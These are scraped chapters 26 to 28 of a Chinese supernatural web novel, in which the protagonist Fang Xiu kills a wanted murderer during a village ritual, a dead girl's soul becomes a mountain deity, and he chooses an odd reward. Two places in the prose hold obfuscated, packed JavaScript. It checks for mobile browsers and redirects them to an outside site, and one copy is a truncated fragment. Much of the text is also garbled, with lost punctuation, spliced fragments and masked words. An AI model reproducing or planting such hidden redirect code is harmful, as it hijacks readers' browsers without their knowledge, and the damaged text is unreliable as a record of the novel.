几年后,村里倒出了新鲜事。 镇上的工作人员来了。他们挂了许多宣传横幅,还在村口摆桌子宣讲。 大体意思分两类,一是说嵬山村有天然矿物污染。二是说嵬山村位置不好,雨大了可能遭灾……字字句句翻来覆去,总之是劝村民搬离村子。 “奶奶,你搬走吧,你俩孩子不都在首都吗?正好去享福。 第十任嵬山神忧心忡忡道,“他们说得对,嵬山村水土有问题。 “咱们村明明不穷了,老人还是去世很早,搬出去的反而好些。 “嵬山砚卖得不好,不就是因为沾水冒腥气吗?肯定是土里的脏东西溶进水,再被大家吃进肚子……雨水一多,污染更严重,才有了那么多畸形儿。 她捧着书本,分析得很认真,“以前的人不懂,只知道听天由命。现在有科学解释,大家该搬走了。 孙如意不吭声。 “他们说要遭灾,也不是吓唬人。最近雨下得越来越厉害,山上土壤松,搞不好会有泥石流。我听说为了鼓励搬迁,镇上能申请免费住房…… “妮儿,我都懂。孙如意说,“嵬山村已经这样了,没必要。 嵬山神怔住。 “年轻人都搬走啦,不会再有孩子遭罪。剩下的都是我们这些老东西,活一天算一天,何必再折腾。 “我的爹妈,我的兄弟都埋在这儿,我又何必一个人走呢? “可是泥石流…… “那也只是‘可能’。孙如意叹气,“几百年了,雨一直这么下,村里从没遭过泥石流。大家都没几年活头,哪会那么倒霉。 她摸摸嵬山神的头,露出一个微笑。“你还年轻,不理解也正常。 嵬山神知道,孙如意是带着第一任嵬山神出世的人,也是送走了前九任嵬山神的人。孙如意读过书,做过大生意,当过嵬山村村长,还为嵬山神写过诗句。 可是第十任嵬山神仍然不认同孙如意的想法。 她也读过很多书,她知道嵬山村的气候在慢慢变化,嵬山的土地状况异常糟糕。村子离灾难只差一场雨——一场漫长的苦雨。 年少的嵬山神整理了科普文章,收 集了各种剪报,开始挨家挨户上门劝。 宣传人员没法天天来村里,但嵬山神可以日日蹲守村民。在她日复一日的劝说下,村民们又走了一半。 剩下的老人倔得像牛,只当她杞人忧天。他们被说烦了,干脆请嵬山神吃闭门羹。反正他们知道她不是真正的神,她自己也清楚这一点。 最后一任嵬山神死于二十二岁。 死前那一天,她还在劝说孙如意搬走。谁知就隔一夜,便落了个白发人送黑发人。 弥留之际,嵬山神打开木盒,取出那颗糖。她没有可以交付的继任者,无需再费心包装。所有人都知道,嵬山村不会再有嵬山神。 最后的嵬山神捏紧糖果,将它死死按在胸口。 她还不想死,她痛恨自己的短寿,她从来没有这般不舍过——嵬山神的使命还没有结束。到了最末,她连孙如意都没能劝走,这让她如何放心离开? 她知道她其实不是神,她知道嵬山村没有神。但是…… “如果嵬山神真的存在,那该多好。 她喃喃自语,吐出了最后一口气。 直到最后一刻,她的双眼还微微睁着。 物件带执念,聚了因果便成“厄。 八十年的时光,十代人的因果,外加一点单纯却强烈的执念。尸体的手中,那颗糖果阴气四溢,逐渐变得黯淡无光。 次日,八十八岁的孙如意停在新的墓碑前,颤巍巍地放下两块糕饼,一瓶饮料。 “这下我更不能走了。孙如意苦笑,“我走了,谁给祠堂放供品呢? 如同回应她的话语。在孙如意走出坟地的那一刻,以那座新坟为中心,坟地平地卷起一阵阴风。 霎时间阴云蔽日,草屑漫天,白昼暗得如同夜晚。那阴气如此磅礴,引得无数邪祟白日现身。 ……嵬山之厄,就此降世。 村民们很快发现,地里种的东西出了问题,水也有了味道。 一天天过去,它们的怪味越来越重,变得根本不能入口。就连从外地带回来的吃食,也会迅速染上那股腥臭。 奇妙的是,嵬山祠的供品十分正常。 老人们你看看我,我看看你。“嵬山神作祟这句话就在嘴边,但谁都没有说出口。最终他们叹了口气,妥协了。不出半个月,村民们全部搬了家。 孙如意也一样。 离开那天,她在嵬山神的墓前待了很久。 “你这孩子,咋这么倔呢。她红了眼眶,“每年庙会,我会回来给你们送吃的。 “……到了那边,还是得好好吃饭呐。 次日起,嵬山村正式荒废。 直到今日,刚好又一个十年。 …… 咕咚 第 26 章 嵬山有神 第26章嵬山有神 【故人来。】 “百邪不侵”挡得了邪祟,却挡不了活人。山混子万万没想到,方休居然上来就动手。 就在他松懈转身的那一刻,方休右手全力一送,那把洛阳铲洞穿了他的胸口。 这个新人没有分毫犹豫,脸上还带着虚弱的笑意。 山混子不明白。 刚刚方休狂殴福老儿,累得仿佛一指头就能推倒。如果方休想袭击他,应该提前积攒体力才对。 祭祀已然结束,方休给他的谈判理由也很合理,他这才卸下那么点儿防备。 直到摔倒在地,山混子的脸上还带着惊愕。他过于震惊,一时竟发不出声音。 他莫名想起了四爷。四爷同样**个猝不及防,连使用法器的时间都没有。 ……这次轮到自己被骗了,方休又想要**夺宝? ……可方休状态奇差,养的鬼又被“百邪不侵”克制。自己也没暴露玉佛那样的好宝贝,他何必冒这种险? 方休在山混子身边蹲下,背上还背着疤哥血淋淋的头颅。 “你真名叫崔大昆,五十六岁,亥省籍贯。截至二十二年前,你作案六起,杀了八个人,至今未归案。” 方休低头看他,口气活像拉家常,“原来你跑去山里当道士了,怪不得警察找不到人——我知道你百分百有问题,是因为我认识你的脸。” “你……你是要……报仇……?” 方休了解得这么清楚,又这样设计害他,山混子想不出其他理由。 二十多年过去,他的长相老了许多,这人到底怎么认出来的?! “不,我跟你没什么个人恩怨。我只是刚好有个人生计划,需要你这种人死一死。” 方休严肃地说,“而且我是干保洁的,你就说自己是不是脏东西吧。” 山混子:“……” 就算在剧痛之中,他都想一口血喷这厮脸上。 方休开始绕着山混子画圈,一边画还一边语重心长:“所以说啊,不要轻信太划算的交易。俗话说得好,你惦记着那点利息,别人惦记着你的本金……” 山混子自然没听进去,他死死瞪着方休。 方休步伐虚得要死,不像演戏。原来如此,这小子并不是擅长隐藏体力,只是格外擅长透支自己。 正常人到了身体极限,往往因为疼痛或疲惫止步,方休却会继续向前。 自己的运气真是烂得可以,怎么就遇见这么个奇葩。山混子费力地喘着气,他失血过多,意识开始模糊了。 他知道,他即将死在这里。 “归去来兮……归去……来兮……” 山混子虚 弱地张开嘴,断断续续地嘀咕。 “功德……圆满……皆大……欢喜……” 方休画圈的动作瞬间顿住。 他静静望着山混子,乱发下的眸子如同两个空洞,不见任何光彩。 …… 白双影吃完福老儿时,方休刚好完成他的工作。看着面前累得站不直腰的某人,白双影逐渐扬起眉毛—— 方休全身都是血和碎肉,左边肩膀肿得老高,脸色青得像个**。他摇摇晃晃站着,双眼没有焦点,感觉下一秒就要摔倒在地。 方休的身后画着一个圆圈,圆圈里盛着一摊肉酱。鲜血以圆圈为中心,朝四面八方喷溅,溅得很远。 如同一朵盛放的红牡丹。 山混子的生魂被牢牢束缚在圆圈里,无处可去。 白双影看看自个儿的纸花,又看看那朵血花:“这是……?” 方休用手背抹了抹脸上的血,语气含混:“山混子犯了死忌。” “可是你已经把厄破坏了。”白双影毫不留情地指出。 几秒后,方休才哦了声:“对不起,不是故意骗你……今天实在太累,我脑子不清醒。” 他是真的很累,方休一向不喜欢纯体力活。 眼下他手里的洛阳铲破损变形,T恤上全是血迹,很难遮掩……好险,差点又忘了,白双影已经目睹了全程…… 白双影不是人类,不会在乎这些。他没必要欺骗他的鬼,真好。 方休甩甩脑袋,他用洛阳铲支撑身体,缓了两口气:“其实我原本不想这么过分,谁让他临死说脏话。” “所以你说的‘有好东西给我看’,指的是山混子的生魂。” 白双影走近那朵血花,“……还有这朵花?” “再猜?”方休朝他笑。 白双影干脆地摇摇头。此人脑回路过于清奇,反正他也猜不中。 “是我。”方休的语气虚弱却轻快,“……那个‘好东西’是我。” “你说因果越庞杂,生魂的滋味越丰富。照这个说法,我的生魂肯定非常——非常美味,绝对会是你吃过最好吃的。” 白双影定定看着方休,他突然意识到了一个事实。 这才第一场祭祀,方休就设计杀**疤哥、四爷、山混子三人。 利用禁忌害人也就罢了,普通人很难亲自下**。通常来说,人们动手前会犹豫、会紧张,不会像方休那样……平静。 只有一种人会这样反应——杀生太多、杀孽太重,早已习惯如此。 这回方休没有骗他。这样的人,生魂确实最好吃。 “我很容易受伤,你动不动担心我作死,总是不怎么高兴。” 方休咳嗽两声,继续说,“现在你知道了, 就算我**连累你,你也能尝到我国宴水准的美味生魂。” “这样不管我是死是活,你都有盼头,我们可以更加轻松地聊天。” 方休扯扯他的袖子:“庙会最后的好东西看完了,你觉得怎么样?” 白双影捉起山混子的魂魄,自上而下俯视那具尸骸,又把方休从头打量到脚。 方休不求他的力量,也无需他的担心。这个人类以自身生魂为筹码,要的居然只是一点陪伴。 此人刚说完“不要轻信太划算的交易”,反手就拿肥饵在他眼前晃,白双影隐约有种被骗的预感。 他忍不住空出右手,按上方休的颈侧。方休的躯体到了极限,他皮肤很烫,脉搏乱到难以判断情绪。 方休由着他摸,甚至稍稍侧头,感受那片舒适的冰冷。 这个人类究竟在想什么呢? 白双影真的有些好奇了。 ……咔。 一声轻响,白双影睁大眼睛。他迅速拂动袖子,查看自己的手腕。 他的右手腕上,一条无形锁链断裂开来。 这只是万千封印中的一道,可是千百年间,从未发生过这样的事——锁链并没有实体,它们由重重因果炼成,无比坚实。 白双影曾用无数方法尝试,从未摆脱过哪怕一条。 此时此刻,它却这么毫无征兆地断开了。 白双影回忆了会儿刚才的情境,他面无表情地伸出双手,开始狂搓方休的脑袋。 “啊啊啊啊你干什么!别摸了别摸了——”方休大叫。 原来不是因为触碰,白双影失望地收回双手。 说来也是,他之前不是没碰过方休,事情不可能这么简单。不过事关他的封印,就算只是巧合,白双影也不会放过。 白双影思考片刻,笑了。 “庙会真的很有意思。”他说,“这场戏很不错。” 所以,白双影决定给方休看点更有意思的东西。 既然方休想要他的陪伴,那么就让他把方休拉下水吧。这是白双影所能想到的,最紧密的“陪伴”。 查清封印的异变前,他不打算放手,哪怕方休自己想死也不行。 这样一来,他们似乎更像朋友了,方休也会很高兴的。 …… 直到踏入嵬山祠,方休都还在为那个笑容恍惚。 多好看啊,白双影就该多笑一笑。 这是他的鬼笑得最好看的一次!虽然不知道是因为发现今后生魂管饱,还是因为发现他很好吃。 其实白双影不需要额外展示给自己什么,方休想,那个笑容就足够治愈了。但为了“朋友间的有来有往”,白双影还是把他半扛半拖到嵬山祠。 ……还挺说话算话。 嵬山村没了厄邪祟们作鸟兽散。祠堂对面的戏台空空如也还活着的人都被纸人带走椅子上只剩四具尸首。 尸体沉默无言不再唱曲儿村中只有雨水落地的声响。 嵬山祠内桌子上的供品没了邪祟补充还是他们离开时的样子。嵬山神像面带微笑散发出劣质的油彩味道。 “好像没什么特别的?”方休累得直打摆子。 白双影一只手抓住他的头顶把他的脑袋扭向神像:“你再看看。” 方休眯起眼在神像前发现了一小团雾气——它勉强具有人形透着浅淡的白色。这东西轮廓非常模糊像是下一秒就要散去。 这回轮到方休看不懂了:“这是……?” “一道快消散的残魂。”白双影说“它执念未了一直守着厄。有厄的阴气滋润它才勉强支撑到现在。” 方休皱眉:“可是现在没有厄了。” “所以它才躲来嵬山祠。靠着这里的香火它还能苟延残喘一会儿。” 白双影转头瞧方休“它是从那个棺桶里钻出来的——你似乎挺中意嵬山神这就是那个‘嵬山神’的残魂。” 方休呆住欲言又止:“你特地带我来是为了观赏嵬山神如何魂飞魄散……?” 看来他们谁更缺德还挺难说。 白双影板起脸看了他几秒走向那缕残魂。 “你也算是时运不济。”他对它说。 “人要升仙须得功德与机缘。你至今没有机缘功德又只差半步……再过两个时辰你的功德才能攒够 残魂懵懵懂懂没有回应。 “但是这里的庙会很不错我乐意给你一点机缘。” 白双影抬起手心情颇好地指向那缕残魂。 “……我承认你。” 就算方休累得神志不清他还是察觉到了异样。白双影话音刚落祠堂里的氛围骤然改变那股压迫感让他喘不上气。 阴影之中残魂稍稍聚拢有了隐约的人形。它的躯体不再模糊散乱反而透出隐隐的金色光华。 白双影垂下手:“你去嵬山待着再等两个时辰即可。” 残魂微微欠了欠身像在行礼。接着它越过两人轻盈地飞出祠堂。 方休目送它的背影稍微清醒了点:“你这是救了她?” “嗯。”白双影回应道准备迎接方休的扭曲误会。 “谢谢你。”方休说。他的口吻很真诚异常郑重。 “救人比害人难得多你真的很厉害。” 白双影没听出任何敷衍的味道他有些意外地眨了眨眼。 “没想到……”方休又昏昏沉沉地嘟囔“没想到你 这么厉害还是要给地府打工。” 白双影:“……”不我没有还不都是你害的。 这张嘴还是烦得很 眼看和纸人约定的时间要到。白双影拎起摇摇欲坠的方休准备回解厄塔。方休却摇了摇头说自己还有事要做。 离开祠堂后他慢吞吞爬上戏台走向麦子的尸体。 天气闷热又潮湿两三天下来麦子的尸体已经出现了巨人观戏台上尸臭扑鼻。方休面不改色地上前停在尸体一步之外。 老棉和麦子死得太快**静没有其余人插手的时机后来更是有敬神戏文为证。事实证明发现麦子异变后老棉为了自保瞬间便下了**。 “可惜如果老棉一开始没有杀了你祭祀会变得简单不少。” 方休对那尸体说道“但也正因为你死得早做的事少我才能顺利确定‘异变条件’摸清第三条禁忌……谢了。” 他取下背后的布包拿出疤哥的头端端正正放在麦子面前:“古时用馒头代替人头做供品眼下我没有馒头只能返璞归真你不要嫌弃。” 白双影看着疤哥血肉模糊的头只感觉这个返璞归真返得有些离谱。 “你什么时候发现‘嵬山神’并非恶神?”白双影戳了戳疤哥的眼眶随口发问。 “第二晚我们找到祠堂的时候。”方休说。 白双影:“……?”也太早了点。 “白天的线索很多。村里有宣传横幅的痕迹说明村子和外界有正常联系。村民们搬家搬得很从容没有逃难迹象。这不像一个邪神作祟、遭遇悲剧的村子。” “然后我们找到了祠堂……那里的供品太多、太新潮又放得那么满当有些饮料甚至没拆箱。” 方休垂下目光“比起正儿八经敬神倒更像长辈使劲给晚辈塞吃的。” “而且村子荒废了这么多年村民们还记得回来拜祭。从供品的生产日期看他们去年肯定来过。” “所以我认为嵬山村的人很喜欢嵬山神。” 白双影静静地看着方休。方休垂着眼皮也不知道在跟自家鬼解释还是说给麦子听。 只要以“没有邪神作祟”为前提事情并不复杂。 “坟地墓碑多过头了。哪怕后来生活变好村民们还是短寿这个地方肯定有问题。” “‘厄’生于明确的执念禁忌不会相互矛盾。‘保护村民’的禁忌很直白所以‘食水不能入口’的禁忌背后必然另有原因——比如想把村民逼走比如食水本身有问题或者两边都是。” 邪祟们毁掉写有污染报道的报纸在对联唱词中掺杂谎言 ,模仿村民最恶劣的一面。它们努力让嵬山神看起来邪恶莫测,可它们终究藏不住禁忌本身。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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周围山势复杂,这几天一直下雨,车里又有几个老人。警察不敢放这么一车人乱跑,特地给他们指了个安全的山头。 那边路修得结实,能远远看到嵬山,以及紧邻嵬山的嵬山村。 又是两个小时过去,一车人顺利来到指定地点。远远看去,嵬山村一片灰暗,静寂依旧。 祖奶奶说过,他们要拜的神没那么讲究。人们索性在地上 盖了片防水布权当祭台。 供品也是老样子肉食甜点不必说刚生产的饮料和罐头也少不了。小辈喜欢赶时髦还往里面混了一杯奶茶。 他们把供品垒得整整齐齐直直朝向嵬山的方向。 “神自嵬山降——客随苦雨来——” “仙客年年有——祠堂日日开——” “日出迎客喜——月落送客哀——” “善客与神名——清平一十载——” 九十八岁的孙如意闭上眼睛倾听熟悉的祭歌。 又是一年将要过去她仍然活着。 十年前孙如意从嵬山村搬家到首都。她信守了自己的承诺每年一到庙会的日子她会让孩子们带她回嵬山村亲自给嵬山祠放上供品。 往年还算顺利今年的雨实在下了太久。镇上封了路 那孩子性格大大咧咧应该不会怪她。 突然孙如意听到了一声巨响。 那并非雷声它轰隆隆响个没完没了还在祭祀的人们惊叫连连。孙如意睁开眼问自己的曾孙女:“妮儿外头怎么啦?” 少女掏出手机正起劲地朝外拍:“祖奶奶是泥石流!” “幸亏没人住好恐怖村子屋顶都给埋没了……” 孙如意沉默了很久。 “我想下去看看。”几分钟后她说。 “啊?外面下雨了很冷的您还是……” “我想下去看看。”孙如意重复道。 少女拗不过长辈她打开雨伞扶着老人下了车。 孙如意走向简陋的祭台她在兜里掏了掏掏出一颗红色的糖果。 如今糖纸是滑溜溜的塑料纸糖块形状像一个小枕头。“双喜硬糖”的文字没有了变成一个设计规整的“囍”字样式十分简洁。 恍惚之间她听见了盛夏蝉鸣。 上一次递出糖果的时候她的手还很小脏兮兮的。如今她的手很大很干净只是布满了皱纹。 一年又一年孙如意忘记了许多事。她偶尔会记不清自家小区在哪里有时会叫混孙子孙女的名字就连曾经很喜欢的诗文她也记不起几句话了。 “若有人兮山之阿被薜荔兮带女萝……后面记不得了。” 她叹息出声“人还是老了呀。” 但她还记得那个夏天她把糖果递出去的那一刻。 那个畸形的孩子听不懂她的话眼睛却亮亮的她一直记到今天。 九十年后孙如意再次递出一颗糖果她将它轻轻放在祭台上。 接着她艰难地低下头向嵬山的方向行了一礼。 同一时间嵬山。 云层汹涌暴雨如注。与先前 不同的是,云层边缘带着一层金光。 大灾已至,无人伤亡。功德又进一步,远处祭歌嘹亮。 雨幕之中,一道身影越发清晰。 那身影有三条胳膊,四条腿,赫然是一位年轻女性。她身着墨色长袍,五官端正清秀,唇色异常红润。 雨水之中,她的目光逐渐由迷茫转为清明。 脑海中除了曾经的知识,还多了些有关天道神明的信息。如今她知道自己成了嵬山神,也知道自己如何成的嵬山神。 她还知道,方才她得到的那一点“机缘”,究竟意味着什么。 新生的嵬山神望向嵬山祠。尽管清楚那一位已经不在那里了,她还是站直身体,行了个肃穆的大礼。 “谢上神——” 紧接着,嵬山神又转向远方的简陋祭台。她遥望孙如意,乐呵呵地笑。 这一次,她会把那些供品好好吃光。 …… 解厄塔。 方休回来后倒头就睡,白双影则在天花板躺下,开始自由地发呆。 突然,白双影歪过脑袋,他隐约听见什么人在道谢。算算时间,他大概能猜到是谁。 是那个新生的小神仙。 嗯,她连他的尊名都不知道,应该不会有人怀疑到他的头上。 白双影摩挲着无形锁链,决定继续观察方休的睡脸。 他的前襟仍别着那朵红纸花。他的右腕上,那根断裂的锁链晃来晃去,发出哗啦啦的轻响。 第 27 章 奖励时间 第27章奖励时间 【异象技能。】 方休醒来第一件事——查看全身上下的情况。 脱臼的肩膀彻底恢复,大大小小的伤口全部消失。地府给他们的“一次性肉身”显然回收了,现在的他只是个快乐的生魂。 方休醒来第二件事——在房间里蹦来跳去。 遗憾的是,他的体质和力量都是老样子。破坏嵬山之厄没有给他带来任何变化,看来奖励不是直接加属性。 但无论如何,活着回来还是很开心的。房间干净,床又软又舒服,让人有种回归文明的感动。方休一个飞扑回到床上,把脸埋进枕头,又弹起来翻成大字型。 然后他看到了那只贴在天花板上的艳鬼。 看着方休满屋子撒欢的白双影:“……” 突然意识到白双影一直在看的方休:“……” 方休想了想,腾出床的一半位置:“你也要躺躺吗?” 白双影在天花板上翻了个身,脸朝墙壁,颇有眼不见心不烦的意思。 方休醒来第三件事——盘点战利品。 回笼觉睡不着,方休干脆起了床,整理他的血腥收获。 他从四爷那抢了五个玉佛,玉佛抹上中指血,可以替命。 玉佛虽好,限制却不小。抹血需要时间,难以应对紧急情况。 他从山混子的尸体上搜出一沓黄纸,一块写着“雨聻”叠字的木雕小令牌,还有一个眼球大小的怪鼎。 ……他一个都不认识,方休忍不住叹气。 “我看看。”不知何时,白双影悄无声息地停在他背后。 少见白双影主动帮忙,方休风一样腾出地方。 白双影指尖点点黄纸,脸上闪过一丝嫌弃:“这是道士玩的黄纸,不懂道术的人无法使用。” 方休心碎,缓缓把黄纸拨开。 白双影又指指令牌:“这也是道家法器,上面刻了紫微讳,能以正驱邪。” 看着方休亮起来的眼,白双影补了句,“不过这东西质量很差,只能让鬼感到不适。” 方休再次心碎,但他还是把小令牌留下了。 看到那个小鼎时,白双影面色微动:“凑合。” 方休连忙拿起来细看。 小鼎通体血红,摸起来有些温热。它明明只有眼珠大小,鼎口却一片黑暗,深不见底。 “叩地鼎,地府的东西。” 白双影介绍道,“你让法器沾上你的血,等一个时辰以上,便可喂给此鼎。” “法器入鼎即碎,法力在鼎中留存一天,能用来召唤无头邪祟。” 方休沉思:“无头邪祟是不是真的没脑子?” 白双影:“……嗯,它 们只擅长当肉盾。” 方休摸摸小鼎:“原来如此你懂得真多。” 正常来说 方休将叩地鼎握在掌心五指稍松很难看出手里藏了东西。 原来如此山混子“徒手”毁掉四爷的勾魂锁链其实是把锁链喂了鼎。 对付邪祟这东西平平无奇。但用来对付人它绝对称得上神器。对方休来说这玩意儿甚至比玉佛还好。不过…… “叩地鼎太绕口我打算叫它‘饭卡’。” 方休对白双影说“要是充值法力没用完我就刷它请你吃饭。” 无头邪祟没有脑袋这不就是邪祟版大虾仁吗?白双影多好看一只鬼捧个脑袋啃实在煞风景这东西正适合给白双影加餐。 方休当场把叩地鼎不饭卡塞进裤兜舍不得放下。 …… “早起吃饭健康长寿——莫带厉鬼过期不候——” 纸人叫醒服务一样嘭嘭敲门在门口咋咋呼呼。 方休没有立刻开门:“为什么不能带厉鬼?” 纸人:“厉鬼样貌骇人怕是影响诸位食欲。” 方休:“我家鬼秀色可餐看着就下饭。” “……那您带着吧。”纸人沉默几秒。 它实在想不出反驳的话艳鬼真是太可怕了。 方休拉上白双影两人一起走进院子。 加上方休院子里还是只有六个人。与上次不同的是那位没招鬼的大婶再也不会出现了。 座位也是老样子贾旭、黄毛和梅岚一桌方休和成松云一起。这回关鹤不再独自蹲角落他默默坐在了成松云左手边。 看到方休出现除了成松云其他人态度都挺热情。 贾旭率先站起来:“欢迎我们的大功臣——纸人说你亲手破坏了厄厉害啊方休你怎么扛住四爷的?” “那憨货看起来能一拳把你锤死你牛逼。”黄毛嬉皮笑脸。 这俩的认知还停留在四爷最强势的版本。 成松云抿紧嘴唇脸色有点白。她尽量平静地看了方休一眼方休从她的眼里看到了一丝害怕。 嗯四爷那么大的人近距离变成肉酱成松云有阴影也正常。 “四爷不小心犯忌让我捡了漏子。”方休冲另一桌笑道。 说完方休从兜里掏出三个玉佛。两个推给成松云一个给了关鹤。接着他带着白双影坐下没有继续分配的意思。 贾旭爽朗的笑容有点僵:“你这是……” “咱们的鬼都有点防身本事。但关鹤的鬼太弱了小关最好拿一个。” “成姐的盾能额外保 护一个人她那边一个玉佛相当于两个。我给成姐两个玉佛等于给了整个团队四个。再加上给小关的那个你们五个平均一人一个。” 方休的表情和语气都很真诚“作为抢到玉佛的人我只是比大家多拿了一个而已这没问题吧?” 贾旭努力维持笑容:“……嗯本来就都是你的我只是随口问问。” 黄毛掰着指头算了会儿算晕了决定闭嘴吃饭。梅岚低下头没说什么。 关鹤感激地小声道谢。成松云犹豫了下到底没有推辞。 她看着方休欲言又止随后纸人突然开口 “恭喜各位贺喜各位!第一场祭祀至此结束诸位可以尽情休息!” 纸人还是那副笑嘻嘻的模样。 一听到能休息黄毛连忙吞下嘴里的饭:“休息多久?” 纸人:“从今早到明早正正好好一天一夜昨晚算咱好心附赠的零头。” 黄毛差点噎死:“操怎么也得歇个七天吧你这玩单休呢?” 纸人面不改色:“各位第一场祭祀也不过区区三日之久。” “……咱晓得各位肯定有许多问题要问咱先挑几个重要的说一说。” 没等黄毛继续**纸人迅速换了话题。 “各位以生魂入塔祭祀里的肉身只是法器。只要您祭祀结束时还剩一口气咱保证您囫囵个儿归塔不必担心伤病难医。” “刚入塔时会有邪祟短暂托管各位的肉身。它们会替各位打招呼请事假再给你们找个安全地方‘独处’。” “您活着回去一切如常;您死在祭祀里肉身会跟着**就这么简单。” 贾旭眉头一跳:“一切如常?八场祭祀怎么也得一个多月我工作怎么办?” 纸人咧嘴:“您要能活着回去您可以直接许愿黄金万两。” 贾旭轻轻啧了一声似乎还是不太满意。 他安静了会儿挑刺似的问:“上次那男的被鬼吃到处都是血。既然塔里的大家都是生魂怎么还能受伤流血?” “解厄塔帮诸位拟了形那血肉都是生魂精气的一部分。精气大量流失生魂自然会散。不过不必担忧如果只是稍稍损伤很快就能恢复。” 方休轻轻嘶了声。他回忆了会儿白双影揪出的三魂比起变成球状他确实更喜欢维持人形。 解厄塔这方面还是蛮体贴的嘛。 见没再有人问问题纸人轻轻飞起飞上院子中央的香炉。方休目光灼灼地盯着纸人活像颁奖前等主持人唠叨的获奖者。 “嵬山村厄已除除厄者另有奖励——” 纸人字正腔圆道“厄 为方休所除,重重有赏——” 一听有额外奖励,贾旭眉头又跳了跳,黄毛直接羡慕地“噢哟”了声。 纸人似乎很满意这个效果,声音又大了些:“亲手解厄,自会牵扯因果。方先生,还请您从嵬山村内择一异象,它将化为您的能力。” 方休扬起眉毛:“什么都可以?” 信地府心善,还不如信白双影是狐狸变的。 “自然有所限制,毕竟您只是沾了些因果,而不是拥有了厄。” 果然,纸人又开始补充说明,“异象所需阴气越重,效果折扣越大。您要是不确定,尽管问我便是。” 它特地挑了三条禁忌作为说明—— 如果方休选择食水不能入口的禁忌,他可以把食水味道变得奇差,但姑且能吃。 如果方休选择不可伤害村民的禁忌,他可以让伤害自己的人全身瘙痒十秒钟,对象仅限于人类。 死忌所需阴气超标,不在选择范围内。 “这肯定选第二个!”黄毛一拍桌子,朝方休叫嚷,“第二个第二个,第二个有用!” 白双影不动如山,无他,他觉得方休的思路不可能这么正常。 果然,方休没有立刻选择:“村里所有异象都行?” 纸人:“是,您选庙会鬼打墙也成,就是效果 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15705258|142489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嘛……” “不怎么需要阴气的异象,是不是能百分百还原?”方休打断它的话。 纸人眉眼里多了份自信:“不要小看地府之力。” “哦,”方休说,“那我要嵬山祠的供桌。” 纸人:“?” 黄毛的呼喊中道崩殂,他发出一阵怪声,像只被卡了脖子的鸡。 “供桌会自动补全供品,怎么看都算异象。” 方休无辜地看着纸人,“我猜是村中邪祟补的,体力工作罢了,过程八成不涉及阴气。” “只是保鲜食物的话,用不了多少阴气吧?如果你们提供阳间同款,连保鲜阴气都能省。” 纸人:“是这样,但是……” 但是……但是好像真的没有问题。 方休选的是异象吗?是。异象用的阴气少吗?少。地府可以做到吗?可以。 ……就是听起来像送外卖。 纸人有点笑不出来。 天可怜见,它第二个禁忌的方案都准备好了。在场六个人,为什么偏偏是这个脑子不对劲的家伙解了厄……它的方案要重做,还要找个阳间代购搞供品…… “您确定吗?”它忍气吞声地继续。 方休笑得很开心:“确定!” 纸人:“……” 纸人:“您稍等片刻。” 改方案是阴间工作的一部分,它懂,它都懂。 这回欲言又止的不再只 有成松云,而是所有人。 “方哥,我觉得第二个禁忌好。要是遇见坏人袭击,可以拖延对方一点时间。”关鹤小心翼翼地说。 成松云也没忍住:“我们不可能**碰见嵬山村那种事,小方,要不你再想想。” 方休好心情地坐回位置,拿起筷子:“只是十秒,对面可以强忍瘙痒,也可以用药物或者术法抵抗。而且真遇到坏人,应对方法可以另想。” “……但饭必须要好好吃。”他往碗里夹了块鸡肉,后半句话因为咀嚼而模糊不清。 一炷香后,纸人完成了异象术法。 带着复杂的眼神,它用手指点上方休左臂内侧,留下一个殷红的坎卦符号。过了几秒,符号缓缓消失,隐入了皮肤下方。 纸人:“嵬山之厄属水。您只要制造一片水面当供桌,便可取用供品——供品与您当日所见一样,不多不少。” “另外,这能力带不回人间。等您完成全部祭祀,解厄塔会将其封禁。” “破坏厄的奖励太棒了,怪不得四爷他们那么拼。”方休摸着那块皮肤,语气相当感慨。 不,他们想要的大概不是这个,白双影心想。 “你是怎么想的?”作为“朋友”,白双影决定不懂就问。 听到白双影突然这么问,方休被饭食噎了下。他咳嗽两声,看向那双漂亮的白色眼瞳。 “呃,那什么。” 方休小小地磕巴了下,声音很轻,“以后没准会有更恶劣的祭祀,除了**别无选择……那样的情况太被动了,不好处理。” “而且主动提供食物,容易和目标拉近关系。”他答得挺认真。 白双影回忆这一路上的投喂:“我是你的目标吗?” “你是我的朋友。”方休说。 答案还是那么狡猾,白双影心想。 剩下的早餐时间里,方休给其余人讲了讲嵬山村的真相,还特地总结了厄的一些特征。此刻方休看起来认真而腼腆,就差把“心慈面善”四个字印脸上。 不过,白双影还记得方休如何把山混子铲成肉酱。 比起眼前这个忙于表演的家伙,还是那个血淋淋的方休更顺眼些。 ……算了,不管方休怀抱什么目的,这个人已经被他拉下了水。 ……下一场祭祀,他不会再在台下看戏,他们会一起走上戏台,想想也挺有趣。 等所有人陆陆续续吃完早餐,纸人再次开口。 “对咯,今后从祭祀归来,各位务必记得洗一次淋浴。” “那是咱特制的养魂泉,能洗掉‘厄’留下的阴气。生魂若是阴气太重,以后可是会影响肉身的。” 方休:“……” 方休:“白双影,你在院子里等会儿,我先进去冲个澡。” 他要收回“解厄塔体贴”那句评价。 方休记得很清楚,房里的淋浴间用玻璃隔断,一眼望到头。就算没有男女授受不亲的问题,这也有点过了——方休十分不喜欢展示裸.体。就算在人间,他也从来不去集体澡堂。 然而他的鬼沉思片刻,平静地开了口。 “不。”白双影说。 第 28 章 阴间团建 第28章阴间团建 【朋友关系。】 “不。白双影说。 说完他就先一步回去了,完全不给方休张嘴的机会。 他一定要找出此人影响封印的秘密。白双影听说人类会在身上纹经文或法阵,说不定方休把秘密藏在了衣服里。 而且他不高兴被关在门外。 方休一步一个脚印地回到房间,使劲搓了几下脸。 